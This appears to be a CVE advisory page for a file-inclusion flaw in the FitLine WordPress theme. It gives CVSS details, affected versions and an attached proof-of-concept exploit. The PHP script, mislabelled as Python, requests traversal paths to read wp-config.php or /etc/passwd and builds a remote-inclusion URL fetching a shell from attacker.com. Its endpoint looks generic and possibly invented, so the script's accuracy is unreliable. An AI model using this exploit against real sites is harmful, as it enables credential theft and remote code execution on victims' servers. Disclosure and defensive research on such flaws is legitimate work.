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CVE-2025-53438 CVSS 8.1 HIGH

CVE-2025-53438

Published: 2025-12-18 08:15:54
Last Modified: 2026-01-20 15:16:57

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes FitLine fitline allows PHP Local File Inclusion.This issue affects FitLine: from n/a through <= 1.6.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:fitline:*:*:*:*:*:wordpress:*:* - VULNERABLE
FitLine <= 1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-53438 PoC - FitLine Theme Local File Inclusion * Usage: php poc.php <target_url> [payload_file] * Example: php poc.php http://target.com /etc/passwd */ $target = $argv[1] ?? ''; $payload = $argv[2] ?? '../../../wp-config.php'; if (empty($target)) { echo "Usage: php poc.php <target_url> [payload_path]\n"; echo "Example: php poc.php http://victim.com /etc/passwd\n"; exit(1); } // LFI payload - read local files $lfiUrl = $target . '/wp-content/themes/fitline/?file=' . urlencode($payload); echo "[*] Testing Local File Inclusion...\n"; echo "[*] Target: $lfiUrl\n"; // RFI payload - remote code execution (if allow_url_include=On) $rfiPayload = 'http://attacker.com/shell.txt'; $rfiUrl = $target . '/wp-content/themes/fitline/?file=' . urlencode($rfiPayload); echo "\n[*] Remote File Inclusion URL (if allow_url_include=On):\n"; echo "[*] $rfiUrl\n"; // Test using curl $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $lfiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "\n[+] HTTP Status: $httpCode\n"; if (strpos($response, '<?php') !== false || strpos($response, 'DB_') !== false) { echo "[+] VULNERABLE! Sensitive data leaked.\n"; } else { echo "[-] Response received, manual inspection needed.\n"; } ?>

References

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